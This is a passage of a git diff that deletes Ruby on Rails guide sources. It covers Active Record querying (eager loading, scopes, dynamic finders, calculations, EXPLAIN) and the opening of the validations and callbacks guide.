-
-<ruby>
-Post.includes(:category, :comments)
-</ruby>
-
-This loads all the posts and the associated category and comments for each post.
-
-h5. Nested Associations Hash
-
-<ruby>
-Category.includes(:posts => [{:comments => :guest}, :tags]).find(1)
-</ruby>
-
-This will find the category with id 1 and eager load all of the associated posts, the associated posts' tags and comments, and every comment's guest association.
-
-h4. Specifying Conditions on Eager Loaded Associations
-
-Even though Active Record lets you specify conditions on the eager loaded associations just like +joins+, the recommended way is to use "joins":#joining-tables instead.
-
-However if you must do this, you may use +where+ as you would normally.
-
-<ruby>
-Post.includes(:comments).where("comments.visible", true)
-</ruby>
-
-This would generate a query which contains a +LEFT OUTER JOIN+ whereas the +joins+ method would generate one using the +INNER JOIN+ function instead.
-
-<ruby>
-  SELECT "posts"."id" AS t0_r0, ... "comments"."updated_at" AS t1_r5 FROM "posts" LEFT OUTER JOIN "comments" ON "comments"."post_id" = "posts"."id" WHERE (comments.visible = 1)
-</ruby>
-
-If there was no +where+ condition, this would generate the normal set of two queries.
-
-If, in the case of this +includes+ query, there were no comments for any posts, all the posts would still be loaded. By using +joins+ (an INNER JOIN), the join conditions *must* match, otherwise no records will be returned.
-
-h3. Scopes
-
-Scoping allows you to specify commonly-used ARel queries which can be referenced as method calls on the association objects or models. With these scopes, you can use every method previously covered such as +where+, +joins+ and +includes+. All scope methods will return an +ActiveRecord::Relation+ object which will allow for further methods (such as other scopes) to be called on it.
-
-To define a simple scope, we use the +scope+ method inside the class, passing the ARel query that we'd like run when this scope is called:
-
-<ruby>
-class Post < ActiveRecord::Base
-  scope :published, where(:published => true)
-end
-</ruby>
-
-Just like before, these methods are also chainable:
-
-<ruby>
-class Post < ActiveRecord::Base
-  scope :published, where(:published => true).joins(:category)
-end
-</ruby>
-
-Scopes are also chainable within scopes:
-
-<ruby>
-class Post < ActiveRecord::Base
-  scope :published, where(:published => true)
-  scope :published_and_commented, published.and(self.arel_table[:comments_count].gt(0))
-end
-</ruby>
-
-To call this +published+ scope we can call it on either the class:
-
-<ruby>
-Post.published # => [published posts]
-</ruby>
-
-Or on an association consisting of +Post+ objects:
-
-<ruby>
-category = Category.first
-category.posts.published # => [published posts belonging to this category]
-</ruby>
-
-h4. Working with times
-
-If you're working with dates or times within scopes, due to how they are evaluated, you will need to use a lambda so that the scope is evaluated every time.
-
-<ruby>
-class Post < ActiveRecord::Base
-  scope :last_week, lambda { where("created_at < ?", Time.zone.now ) }
-end
-</ruby>
-
-Without the +lambda+, this +Time.zone.now+ will only be called once.
-
-h4. Passing in arguments
-
-When a +lambda+ is used for a +scope+, it can take arguments:
-
-<ruby>
-class Post < ActiveRecord::Base
-  scope :1_week_before, lambda { |time| where("created_at < ?", time)
-end
-</ruby>
-
-This may then be called using this:
-
-<ruby>
-Post.1_week_before(Time.zone.now)
-</ruby>
-
-However, this is just duplicating the functionality that would be provided to you by a class method.
-
-<ruby>
-class Post < ActiveRecord::Base
-  def self.1_week_before(time)
-    where("created_at < ?", time)
-  end
-end
-</ruby>
-
-Using a class method is the preferred way to accept arguments for scopes. These methods will still be accessible on the association objects:
-
-<ruby>
-category.posts.1_week_before(time)
-</ruby>
-
-h4. Working with scopes
-
-Where a relational object is required, the +scoped+ method may come in handy. This will return an +ActiveRecord::Relation+ object which can have further scoping applied to it afterwards. A place where this may come in handy is on associations
-
-<ruby>
-client = Client.find_by_first_name("Ryan")
-orders = client.orders.scoped
-</ruby>
-
-With this new +orders+ object, we are able to ascertain that this object can have more scopes applied to it. For instance, if we wanted to return orders only in the last 30 days at a later point.
-
-<ruby>
-orders.where("created_at > ?", 30.days.ago)
-</ruby>
-
-h4. Applying a default scope
-
-If we wish for a scope to be applied across all queries to the model we can use the +default_scope+ method within the model itself.
-
-<ruby>
-class Client < ActiveRecord::Base
-  default_scope where("removed_at IS NULL")
-end
-</ruby>
-
-When queries are executed on this model, the SQL query will now look something like this:
-
-<sql>
-SELECT * FROM clients WHERE removed_at IS NULL
-</sql>
-
-h4. Removing all scoping
-
-If we wish to remove scoping for any reason we can use the +unscoped+ method. This is especially useful if a +default_scope+ is specified in the model and should not be applied for this particular query.
-
-<ruby>
-Client.unscoped.all
-</ruby>
-
-This method removes all scoping and will do a normal query on the table.
-
-h3. Dynamic Finders
-
-For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called +first_name+ on your +Client+ model for example, you get +find_by_first_name+ and +find_all_by_first_name+ for free from Active Record. If you have a +locked+ field on the +Client+ model, you also get +find_by_locked+ and +find_all_by_locked+ methods.
-
-You can also use +find_last_by_*+ methods which will find the last record matching your argument.
-
-You can specify an exclamation point (<tt>!</tt>) on the end of the dynamic finders to get them to raise an +ActiveRecord::RecordNotFound+ error if they do not return any records, like +Client.find_by_name!("Ryan")+
-
-If you want to find both by name and locked, you can chain these finders together by simply typing "+and+" between the fields. For example, +Client.find_by_first_name_and_locked("Ryan", true)+.
-
-WARNING: Up to and including Rails 3.1, when the number of arguments passed to a dynamic finder method is lesser than the number of fields, say <tt>Client.find_by_name_and_locked("Ryan")</tt>, the behavior is to pass +nil+ as the missing argument. This is *unintentional* and this behavior will be changed in Rails 3.2 to throw an +ArgumentError+.
-
-h3. Find or build a new object
-
-It's common that you need to find a record or create it if it doesn't exist. You can do that with the +first_or_create+ and +first_or_create!+ methods.
-
-h4. +first_or_create+
-
-The +first_or_create+ method checks whether +first+ returns +nil+ or not. If it does return +nil+, then +create+ is called. This is very powerful when coupled with the +where+ method. Let's see an example.
-
-Suppose you want to find a client named 'Andy', and if there's none, create one and additionally set his +locked+ attribute to false. You can do so by running:
-
-<ruby>
-Client.where(:first_name => 'Andy').first_or_create(:locked => false)
-# => #<Client id: 1, first_name: "Andy", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
-</ruby>
-
-The SQL generated by this method looks like this:
-
-<sql>
-SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1
-BEGIN
-INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 0, NULL, '2011-08-30 05:22:57')
-COMMIT
-</sql>
-
-+first_or_create+ returns either the record that already exists or the new record. In our case, we didn't already have a client named Andy so the record is created and returned.
-
-The new record might not be saved to the database; that depends on whether validations passed or not (just like +create+).
-
-It's also worth noting that +first_or_create+ takes into account the arguments of the +where+ method. In the example above we didn't explicitly pass a +:first_name => 'Andy'+ argument to +first_or_create+. However, that was used when creating the new record because it was already passed before to the +where+ method.
-
-You can do the same with the +find_or_create_by+ method:
-
-<ruby>
-Client.find_or_create_by_first_name(:first_name => "Andy", :locked => false)
-</ruby>
-
-This method still works, but it's encouraged to use +first_or_create+ because it's more explicit on which arguments are used to _find_ the record and which are used to _create_, resulting in less confusion overall.
-
-h4. +first_or_create!+
-
-You can also use +first_or_create!+ to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add
-
-<ruby>
-validates :orders_count, :presence => true
-</ruby>
-
-to your +Client+ model. If you try to create a new +Client+ without passing an +orders_count+, the record will be invalid and an exception will be raised:
-
-<ruby>
-Client.where(:first_name => 'Andy').first_or_create!(:locked => false)
-# => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank
-</ruby>
-
-h4. +first_or_initialize+
-
-The +first_or_initialize+ method will work just like +first_or_create+ but it will not call +create+ but +new+. This means that a new model instance will be created in memory but won't be saved to the database. Continuing with the +first_or_create+ example, we now want the client named 'Nick':
-
-<ruby>
-nick = Client.where(:first_name => 'Nick').first_or_initialize(:locked => false)
-# => <Client id: nil, first_name: "Nick", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
-
-nick.persisted?
-# => false
-
-nick.new_record?
-# => true
-</ruby>
-
-Because the object is not yet stored in the database, the SQL generated looks like this:
-
-<sql>
-SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1
-</sql>
-
-When you want to save it to the database, just call +save+:
-
-<ruby>
-nick.save
-# => true
-</ruby>
-
-h3. Finding by SQL
-
-If you'd like to use your own SQL to find records in a table you can use +find_by_sql+. The +find_by_sql+ method will return an array of objects even if the underlying query returns just a single record. For example you could run this query:
-
-<ruby>
-Client.find_by_sql("SELECT * FROM clients
-  INNER JOIN orders ON clients.id = orders.client_id
-  ORDER clients.created_at desc")
-</ruby>
-
-+find_by_sql+ provides you with a simple way of making custom calls to the database and retrieving instantiated objects.
-
-h3. +select_all+
-
-<tt>find_by_sql</tt> has a close relative called +connection#select_all+. +select_all+ will retrieve objects from the database using custom SQL just like +find_by_sql+ but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.
-
-<ruby>
-Client.connection.select_all("SELECT * FROM clients WHERE id = '1'")
-</ruby>
-
-h3. Existence of Objects
-
-If you simply want to check for the existence of the object there's a method called +exists?+. This method will query the database using the same query as +find+, but instead of returning an object or collection of objects it will return either +true+ or +false+.
-
-<ruby>
-Client.exists?(1)
-</ruby>
-
-The +exists?+ method also takes multiple ids, but the catch is that it will return true if any one of those records exists.
-
-<ruby>
-Client.exists?(1,2,3)
-# or
-Client.exists?([1,2,3])
-</ruby>
-
-It's even possible to use +exists?+ without any arguments on a model or a relation.
-
-<ruby>
-Client.where(:first_name => 'Ryan').exists?
-</ruby>
-
-The above returns +true+ if there is at least one client with the +first_name+ 'Ryan' and +false+ otherwise.
-
-<ruby>
-Client.exists?
-</ruby>
-
-The above returns +false+ if the +clients+ table is empty and +true+ otherwise.
-
-You can also use +any?+ and +many?+ to check for existence on a model or relation.
-
-<ruby>
-# via a model
-Post.any?
-Post.many?
-
-# via a named scope
-Post.recent.any?
-Post.recent.many?
-
-# via a relation
-Post.where(:published => true).any?
-Post.where(:published => true).many?
-
-# via an association
-Post.first.categories.any?
-Post.first.categories.many?
-</ruby>
-
-h3. Calculations
-
-This section uses count as an example method in this preamble, but the options described apply to all sub-sections.
-
-All calculation methods work directly on a model:
-
-<ruby>
-Client.count
-# SELECT count(*) AS count_all FROM clients
-</ruby>
-
-Or on a relation:
-
-<ruby>
-Client.where(:first_name => 'Ryan').count
-# SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan')
-</ruby>
-
-You can also use various finder methods on a relation for performing complex calculations:
-
-<ruby>
-Client.includes("orders").where(:first_name => 'Ryan', :orders => {:status => 'received'}).count
-</ruby>
-
-Which will execute:
-
-<sql>
-SELECT count(DISTINCT clients.id) AS count_all FROM clients
-  LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE
-  (clients.first_name = 'Ryan' AND orders.status = 'received')
-</sql>
-
-h4. Count
-
-If you want to see how many records are in your model's table you could call +Client.count+ and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use +Client.count(:age)+.
-
-For options, please see the parent section, "Calculations":#calculations.
-
-h4. Average
-
-If you want to see the average of a certain number in one of your tables you can call the +average+ method on the class that relates to the table. This method call will look something like this:
-
-<ruby>
-Client.average("orders_count")
-</ruby>
-
-This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.
-
-For options, please see the parent section, "Calculations":#calculations.
-
-h4. Minimum
-
-If you want to find the minimum value of a field in your table you can call the +minimum+ method on the class that relates to the table. This method call will look something like this:
-
-<ruby>
-Client.minimum("age")
-</ruby>
-
-For options, please see the parent section, "Calculations":#calculations.
-
-h4. Maximum
-
-If you want to find the maximum value of a field in your table you can call the +maximum+ method on the class that relates to the table. This method call will look something like this:
-
-<ruby>
-Client.maximum("age")
-</ruby>
-
-For options, please see the parent section, "Calculations":#calculations.
-
-h4. Sum
-
-If you want to find the sum of a field for all records in your table you can call the +sum+ method on the class that relates to the table. This method call will look something like this:
-
-<ruby>
-Client.sum("orders_count")
-</ruby>
-
-For options, please see the parent section, "Calculations":#calculations.
-
-h3. Running EXPLAIN
-
-You can run EXPLAIN on the queries triggered by relations. For example,
-
-<ruby>
-User.where(:id => 1).joins(:posts).explain
-</ruby>
-
-may yield
-
-<plain>
-<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus>
-| id | select_type | table | type  | possible_keys | key     | key_len | ref   | rows | Extra       |
-<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus>
-|  1 | SIMPLE      | users | const | PRIMARY       | PRIMARY | 4       | const |    1 |             |
-|  1 | SIMPLE      | posts | ALL   | NULL          | NULL    | NULL    | NULL  |    1 | Using where |
-<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus>
-2 rows in set (0.00 sec)
-</plain>
-
-under MySQL.
-
-Active Record performs a pretty printing that emulates the one of the database
-shells. So, the same query running with the PostgreSQL adapter would yield instead
-
-<plain>
-                                  QUERY PLAN
-------------------------------------------------------------------------------
- Nested Loop Left Join  (cost=0.00..37.24 rows=8 width=0)
-   Join Filter: (posts.user_id = users.id)
-   ->  Index Scan using users_pkey on users  (cost=0.00..8.27 rows=1 width=4)
-         Index Cond: (id = 1)
-   ->  Seq Scan on posts  (cost=0.00..28.88 rows=8 width=4)
-         Filter: (posts.user_id = 1)
-(6 rows)
-</plain>
-
-Eager loading may trigger more than one query under the hood, and some queries
-may need the results of previous ones. Because of that, +explain+ actually
-executes the query, and then asks for the query plans. For example,
-
-<ruby>
-User.where(:id => 1).includes(:posts).explain
-</ruby>
-
-yields
-
-<plain>
-<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------<plus>
-| id | select_type | table | type  | possible_keys | key     | key_len | ref   | rows | Extra |
-<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------<plus>
-|  1 | SIMPLE      | users | const | PRIMARY       | PRIMARY | 4       | const |    1 |       |
-<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------<plus>
-1 row in set (0.00 sec)
-<plus>----<plus>-------------<plus>-------<plus>------<plus>---------------<plus>------<plus>---------<plus>------<plus>------<plus>-------------<plus>
-| id | select_type | table | type | possible_keys | key  | key_len | ref  | rows | Extra       |
-<plus>----<plus>-------------<plus>-------<plus>------<plus>---------------<plus>------<plus>---------<plus>------<plus>------<plus>-------------<plus>
-|  1 | SIMPLE      | posts | ALL  | NULL          | NULL | NULL    | NULL |    1 | Using where |
-<plus>----<plus>-------------<plus>-------<plus>------<plus>---------------<plus>------<plus>---------<plus>------<plus>------<plus>-------------<plus>
-1 row in set (0.00 sec)
-</plain>
-
-under MySQL.
diff --git a/railties/guides/source/active_record_validations_callbacks.textile b/railties/guides/source/active_record_validations_callbacks.textile
deleted file mode 100644
index a27c292a4c..0000000000
--- a/railties/guides/source/active_record_validations_callbacks.textile
+++ /dev/null
@@ -1,1274 +0,0 @@
-h2. Active Record Validations and Callbacks
-
-This guide teaches you how to hook into the life cycle of your Active Record objects. You will learn how to validate the state of objects before they go into the database, and how to perform custom operations at certain points in the object life cycle.
-
-After reading this guide and trying out the presented concepts, we hope that you'll be able to:
-
-* Understand the life cycle of Active Record objects
-* Use the built-in Active Record validation helpers
-* Create your own custom validation methods
-* Work with the error messages generated by the validation process
-* Create callback methods that respond to events in the object life cycle
-* Create special classes that encapsulate common behavior for your callbacks
-* Create Observers that respond to life cycle events outside of the original class
-
-endprologue.
-
-h3. The Object Life Cycle
-
-During the normal operation of a Rails application, objects may be created, updated, and destroyed. Active Record provides hooks into this <em>object life cycle</em> so that you can control your application and its data.
-
-Validations allow you to ensure that only valid data is stored in your database. Callbacks and observers allow you to trigger logic before or after an alteration of an object's state.
-
-h3. Validations Overview
-
-Before you dive into the detail of validations in Rails, you should understand a bit about how validations fit into the big picture.
-
-h4. Why Use Validations?
-
-Validations are used to ensure that only valid data is saved into your database. For example, it may be important to your application to ensure that every user provides a valid email address and mailing address.
-
-There are several ways to validate data before it is saved into your database, including native database constraints, client-side validations, controller-level validations, and model-level validations:
-
-* Database constraints and/or stored procedures make the validation mechanisms database-dependent and can make testing and maintenance more difficult. However, if your database is used by other applications, it may be a good idea to use some constraints at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that can be difficult to implement otherwise.
-* Client-side validations can be useful, but are generally unreliable if used alone. If they are implemented using JavaScript, they may be bypassed if JavaScript is turned off in the user's browser. However, if combined with other techniques, client-side validation can be a convenient way to provide users with immediate feedback as they use your site.
-* Controller-level validations can be tempting to use, but often become unwieldy and difficult to test and maintain. Whenever possible, it's a good idea to "keep your controllers skinny":http://weblog.jamisbuck.org/2006/10/18/skinny-controller-fat-model, as it will make your application a pleasure to work with in the long run.
-* Model-level validations are the best way to ensure that only valid data is saved into your database. They are database agnostic, cannot be bypassed by end users, and are convenient to test and maintain. Rails makes them easy to use, provides built-in helpers for common needs, and allows you to create your own validation methods as well.
-
-h4. When Does Validation Happen?
-
-There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, for example using the +new+ method, that object does not belong to the database yet. Once you call +save+ upon that object it will be saved into the appropriate database table. Active Record uses the +new_record?+ instance method to determine whether an object is already in the database or not. Consider the following simple Active Record class:
-
-<ruby>
-class Person < ActiveRecord::Base
-end
-</ruby>
-
-We can see how it works by looking at some +rails console+ output:
-
-<ruby>
->> p = Person.new(:name => "John Doe")
-=> #<Person id: nil, name: "John Doe", created_at: nil, :updated_at: nil>
->> p.new_record?
-=> true
->> p.save
-=> true
->> p.new_record?
-=> false
-</ruby>
-
-Creating and saving a new record will send an SQL +INSERT+ operation to the database. Updating an existing record will send an SQL +UPDATE+ operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not perform the +INSERT+ or +UPDATE+ operation. This helps to avoid storing an invalid object in the database. You can choose to have specific validations run when an object is created, saved, or updated.
-
-CAUTION: There are many ways to change the state of an object in the database. Some methods will trigger validations, but some will not. This means that it's possible to save an object in the database in an invalid state if you aren't careful.
-
-The following methods trigger validations, and will save the object to the database only if the object is valid:
-
-* +create+
-* +create!+
-* +save+
-* +save!+
-* +update+
-* +update_attributes+
-* +update_attributes!+
-
-The bang versions (e.g. +save!+) raise an exception if the record is invalid. The non-bang versions don't: +save+ and +update_attributes+ return +false+, +create+ and +update+ just return the objects.
-
-h4. Skipping Validations
-
-The following methods skip validations, and will save the object to the database regardless of its validity. They should be used with caution.
-
-* +decrement!+
-* +decrement_counter+
-* +increment!+
-* +increment_counter+
-* +toggle!+
-* +touch+
-* +update_all+
-* +update_attribute+
-* +update_column+
-* +update_counters+
-
-Note that +save+ also has the ability to skip validations if passed +:validate => false+ as argument. This technique should be used with caution.
-
-* +save(:validate => false)+
-
-h4. +valid?+ and +invalid?+
-
-To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were found in the object, and false otherwise.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates :name, :presence => true
-end
-
-Person.create(:name => "John Doe").valid? # => true
-Person.create(:name => nil).valid? # => false
-</ruby>
-
-After Active Record has performed validations, any errors found can be accessed through the +errors+ instance method, which returns a collection of errors. By definition, an object is valid if this collection is empty after running validations.
-
-Note that an object instantiated with +new+ will not report errors even if it's technically invalid, because validations are not run when using +new+.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates :name, :presence => true
-end
-
->> p = Person.new
-=> #<Person id: nil, name: nil>
->> p.errors
-=> {}
-
->> p.valid?
-=> false
->> p.errors
-=> {:name=>["can't be blank"]}
-
->> p = Person.create
-=> #<Person id: nil, name: nil>
->> p.errors
-=> {:name=>["can't be blank"]}
-
->> p.save
-=> false
-
->> p.save!
-=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
-
->> Person.create!
-=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
-</ruby>
-
-+invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations, returning true if any errors were found in the object, and false otherwise.
-
-h4(#validations_overview-errors). +errors[]+
-
-To verify whether or not a particular attribute of an object is valid, you can use +errors[:attribute]+. It returns an array of all the errors for +:attribute+. If there are no errors on the specified attribute, an empty array is returned.
-
-This method is only useful _after_ validations have been run, because it only inspects the errors collection and does not trigger validations itself. It's different from the +ActiveRecord::Base#invalid?+ method explained above because it doesn't verify the validity of the object as a whole. It only checks to see whether there are errors found on an individual attribute of the object.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates :name, :presence => true
-end
-
->> Person.new.errors[:name].any? # => false
->> Person.create.errors[:name].any? # => true
-</ruby>
-
-We'll cover validation errors in greater depth in the "Working with Validation Errors":#working-with-validation-errors section. For now, let's turn to the built-in validation helpers that Rails provides by default.
-
-h3. Validation Helpers
-
-Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the attribute being validated.
-
-Each helper accepts an arbitrary number of attribute names, so with a single line of code you can add the same kind of validation to several attributes.
-
-All of them accept the +:on+ and +:message+ options, which define when the validation should be run and what message should be added to the +errors+ collection if it fails, respectively. The +:on+ option takes one of the values +:save+ (the default), +:create+  or +:update+. There is a default error message for each one of the validation helpers. These messages are used when the +:message+ option isn't specified. Let's take a look at each one of the available helpers.
-
-h4. +acceptance+
-
-Validates that a checkbox on the user interface was checked when a form was submitted. This is typically used when the user needs to agree to your application's terms of service, confirm reading some text, or any similar concept. This validation is very specific to web applications and this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute).
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates :terms_of_service, :acceptance => true
-end
-</ruby>
-
-The default error message for this helper is "_must be accepted_".
-
-It can receive an +:accept+ option, which determines the value that will be considered acceptance. It defaults to "1" and can be easily changed.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates :terms_of_service, :acceptance => { :accept => 'yes' }
-end
-</ruby>
-
-h4. +validates_associated+
-
-You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, +valid?+ will be called upon each one of the associated objects.
-
-<ruby>
-class Library < ActiveRecord::Base
-  has_many :books
-  validates_associated :books
-end
-</ruby>
-
-This validation will work with all of the association types.
-
-CAUTION: Don't use +validates_associated+ on both ends of your associations. They would call each other in an infinite loop.
-
-The default error message for +validates_associated+ is "_is invalid_". Note that each associated object will contain its own +errors+ collection; errors do not bubble up to the calling model.
-
-h4. +confirmation+
-
-You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute whose name is the name of the field that has to be confirmed with "_confirmation" appended.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates :email, :confirmation => true
-end
-</ruby>
-
-In your view template you could use something like
-
-<erb>
-<%= text_field :person, :email %>
-<%= text_field :person, :email_confirmation %>
-</erb>
-
-This check is performed only if +email_confirmation+ is not +nil+. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at +presence+ later on this guide):
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates :email, :confirmation => true
-  validates :email_confirmation, :presence => true
-end
-</ruby>
-
-The default error message for this helper is "_doesn't match confirmation_".
-
-h4. +exclusion+
-
-This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.
-
-<ruby>
-class Account < ActiveRecord::Base
-  validates :subdomain, :exclusion => { :in => %w(www us ca jp),
-    :message => "Subdomain %{value} is reserved." }
-end
-</ruby>
-
-The +exclusion+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. This example uses the +:message+ option to show how you can include the attribute's value.
-
-The default error message is "_is reserved_".
-
-h4. +format+
-
-This helper validates the attributes' values by testing whether they match a given regular expression, which is specified using the +:with+ option.
-
-<ruby>
-class Product < ActiveRecord::Base
-  validates :legacy_code, :format => { :with => /\A[a-zA-Z]+\z/,
-    :message => "Only letters allowed" }
-end
-</ruby>
-
-The default error message is "_is invalid_".
-
-h4. +inclusion+
-
-This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.
-
-<ruby>
-class Coffee < ActiveRecord::Base
-  validates :size, :inclusion => { :in => %w(small medium large),
-    :message => "%{value} is not a valid size" }
-end
-</ruby>
-
-The +inclusion+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. The previous example uses the +:message+ option to show how you can include the attribute's value.
-
-The default error message for this helper is "_is not included in the list_".
-
-h4. +length+
-
-This helper validates the length of the attributes' values. It provides a variety of options, so you can specify length constraints in different ways:
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates :name, :length => { :minimum => 2 }
-  validates :bio, :length => { :maximum => 500 }
-  validates :password, :length => { :in => 6..20 }
-  validates :registration_number, :length => { :is => 6 }
-end
-</ruby>
-
-The possible length constraint options are:
-
-* +:minimum+ - The attribute cannot have less than the specified length.
-* +:maximum+ - The attribute cannot have more than the specified length.
-* +:in+ (or +:within+) - The attribute length must be included in a given interval. The value for this option must be a range.
-* +:is+ - The attribute length must be equal to the given value.
-
-The default error messages depend on the type of length validation being performed. You can personalize these messages using the +:wrong_length+, +:too_long+, and +:too_short+ options and <tt>%{count}</tt> as a placeholder for the number corresponding to the length constraint being used. You can still use the +:message+ option to specify an error message.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates :bio, :length => { :maximum => 1000,
-    :too_long => "%{count} characters is the maximum allowed" }
-end
-</ruby>
-
-This helper counts characters by default, but you can split the value in a different way using the +:tokenizer+ option:
-
-<ruby>
-class Essay < ActiveRecord::Base
-  validates :content, :length => {
-    :minimum   => 300,
-    :maximum   => 400,
-    :tokenizer => lambda { |str| str.scan(/\w+/) },
-    :too_short => "must have at least %{count} words",
-    :too_long  => "must have at most %{count} words"
-  }
-end
-</ruby>
-
-Note that the default error messages are plural (e.g., "is too short (minimum is %{count} characters)"). For this reason, when +:minimum+ is 1 you should provide a personalized message or use +validates_presence_of+ instead. When +:in+ or +:within+ have a lower limit of 1, you should either provide a personalized message or call +presence+ prior to +length+.
-
-The +size+ helper is an alias for +length+.
-
-h4. +numericality+
-
-This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by an integral or floating point number. To specify that only integral numbers are allowed set +:only_integer+ to true.
-
-If you set +:only_integer+ to +true+, then it will use the
-
-<ruby>
-/\A[<plus>-]?\d<plus>\Z/
-</ruby>
-
-regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Float+.
-
-WARNING. Note that the regular expression above allows a trailing newline character.
-
-<ruby>
-class Player < ActiveRecord::Base
-  validates :points, :numericality => true
-  validates :games_played, :numericality => { :only_integer => true }
-end
-</ruby>
-
-Besides +:only_integer+, this helper also accepts the following options to add constraints to acceptable values:
-
-* +:greater_than+ - Specifies the value must be greater than the supplied value. The default error message for this option is "_must be greater than %{count}_".
-* +:greater_than_or_equal_to+ - Specifies the value must be greater than or equal to the supplied value. The default error message for this option is "_must be greater than or equal to %{count}_".
-* +:equal_to+ - Specifies the value must be equal to the supplied value. The default error message for this option is "_must be equal to %{count}_".
-* +:less_than+ - Specifies the value must be less than the supplied value. The default error message for this option is "_must be less than %{count}_".
-* +:less_than_or_equal_to+ - Specifies the value must be less than or equal the supplied value. The default error message for this option is "_must be less than or equal to %{count}_".
-* +:odd+ - Specifies the value must be an odd number if set to true. The default error message for this option is "_must be odd_".
-* +:even+ - Specifies the value must be an even number if set to true. The default error message for this option is "_must be even_".
-
-The default error message is "_is not a number_".
-
-h4. +presence+
-
-This helper validates that the specified attributes are not empty. It uses the +blank?+ method to check if the value is either +nil+ or a blank string, that is, a string that is either empty or consists of whitespace.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates :name, :login, :email, :presence => true
-end
-</ruby>
-
-If you want to be sure that an association is present, you'll need to test whether the foreign key used to map the association is present, and not the associated object itself.
-
-<ruby>
-class LineItem < ActiveRecord::Base
-  belongs_to :order
-  validates :order_id, :presence => true
-end
-</ruby>
-
-Since +false.blank?+ is true, if you want to validate the presence of a boolean field you should use <tt>validates :field_name, :inclusion => { :in => [true, false] }</tt>.
-
-The default error message is "_can't be empty_".
-
-h4. +uniqueness+
-
-This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint in the database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create a unique index in your database.
-
-<ruby>
-class Account < ActiveRecord::Base
-  validates :email, :uniqueness => true
-end
-</ruby>
-
-The validation happens by performing an SQL query into the model's table, searching for an existing record with the same value in that attribute.
-
-There is a +:scope+ option that you can use to specify other attributes that are used to limit the uniqueness check:
-
-<ruby>
-class Holiday < ActiveRecord::Base
-  validates :name, :uniqueness => { :scope => :year,
-    :message => "should happen once per year" }
-end
-</ruby>
-
-There is also a +:case_sensitive+ option that you can use to define whether the uniqueness constraint will be case sensitive or not. This option defaults to true.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates :name, :uniqueness => { :case_sensitive => false }
-end
-</ruby>
-
-WARNING. Note that some databases are configured to perform case-insensitive searches anyway.
-
-The default error message is "_has already been taken_".
-
-h4. +validates_with+
-
-This helper passes the record to a separate class for validation.
-
-<ruby>
-class Person < ActiveRecord::Base
-  validates_with GoodnessValidator
-end
-
-class GoodnessValidator < ActiveModel::Validator
-  def validate(record)
-    if record.first_name == "Evil"
-      record.errors[:base] << "This person is evil"
-    end
-  end
-end
-</ruby>
-
-NOTE: Errors added to +record.errors[:base]+ relate to the state of the record as a whole, and not to a specific attribute.
-
-The +validates_with+ helper takes a class, or a list of classes to use for validation. There is no default error message for +validates_with+. You must manually add errors to the record's errors collection in the validator class.
-
